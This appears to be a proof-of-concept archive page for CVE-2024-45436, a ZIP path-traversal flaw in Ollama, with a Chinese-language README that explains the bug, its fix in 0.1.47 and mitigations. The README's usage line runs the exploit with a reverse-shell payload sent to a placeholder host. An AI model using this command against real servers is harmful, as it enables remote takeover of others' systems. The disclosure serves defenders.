Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1310 CNY

100%

CVE-2024-45436 PoC — Ollama 安全漏洞

Source
Associated Vulnerability
Title:Ollama 安全漏洞 (CVE-2024-45436)
Description:extractFromZipFile in model.go in Ollama before 0.1.47 can extract members of a ZIP archive outside of the parent directory.
Description
This repository contains an exploit demonstration for CVE-2024-45436, a critical vulnerability affecting specific software versions. It highlights the exploitation mechanism and provides insights for security researchers to understand and mitigate the risk. 
Readme
# CVE-2024-45436 攻击示例代码(POC)

**CVE-2024-45436** 是一个在 Linux 系统下运行的攻击代码,需要安装 `gcc` 编译器。

**准备工作:**  
直接运行以下命令来反弹一个 Shell:

```bash
python3 main.py -target http://127.0.0.1:11434/ -exec "bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0>&1"
```

- `-target`:指定目标地址,例如:http://127.0.0.1:11434/
- `-exec`:用于执行反弹 Shell 的命令,`xxx.xxx.xxx.xxx` 为你的目标 IP,`xxxx` 为目标端口。

**注意:** 攻击可能需要几分钟时间,请耐心等待。

## CVE-2024-45436 漏洞原理

**概述:**  
CVE-2024-45436 是 Ollama 软件在 0.1.47 版本之前的一个路径遍历漏洞。它允许攻击者利用特制的 ZIP 文件,将文件解压到系统的任意位置,进而访问或覆盖系统文件。

**漏洞详情:**  
在 Ollama 的 `model.go` 文件中,`extractFromZipFile` 函数处理 ZIP 文件的解压。但由于缺乏对路径的正确限制,攻击者可以通过路径遍历(例如使用 `../`)将文件解压到父目录之外。这属于典型的路径遍历漏洞(CWE-22)。

**受影响的版本:**  
- Ollama 0.1.47 之前的所有版本。
- 漏洞攻击复杂度低,无需特权或用户交互,成功攻击后可能导致敏感信息泄露或系统文件被恶意覆盖。

## 修复措施

Ollama 开发团队已在 0.1.47 版本中修复了此漏洞。用户应尽快更新到最新版本,详情可参考官方 GitHub 仓库。

## 防范建议

1. **输入验证:** 严格验证和规范化文件路径,防止使用路径遍历字符(如 `../`)。
2. **权限控制:** 限制应用程序对文件系统的访问权限,仅访问必要的目录和文件。
3. **安全审计:** 定期对代码进行安全审计,及时发现和修复漏洞。

**结论:**  
CVE-2024-45436 是一个严重的路径遍历漏洞,可能导致敏感信息泄露或系统被控制。建议用户尽快更新软件,并采取相应的防范措施以确保系统安全。
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →